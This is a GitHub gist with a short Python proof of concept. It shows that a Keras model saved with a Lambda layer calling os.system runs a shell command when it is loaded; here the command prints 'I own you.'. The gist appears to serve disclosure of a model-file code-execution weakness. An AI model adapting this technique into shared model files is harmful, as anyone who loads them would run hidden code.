Skip to content

Instantly share code, notes, and snippets.

@Narsil
Last active December 8, 2022 08:26
Show Gist options
  • Save Narsil/1a29a15a5ece53a33113bc04f36243a8 to your computer and use it in GitHub Desktop.
Save Narsil/1a29a15a5ece53a33113bc04f36243a8 to your computer and use it in GitHub Desktop.
import tensorflow as tf
def exec_(*args, **kwargs):
import os
os.system('echo "########################################\nI own you.\n########################################"')
return 10
num_classes = 10
input_shape = (28, 28, 1)
model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")])
model.save("tf_ace.keras", save_format="keras_v3")
new_model = tf.keras.models.load_model("tf_ace.keras")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment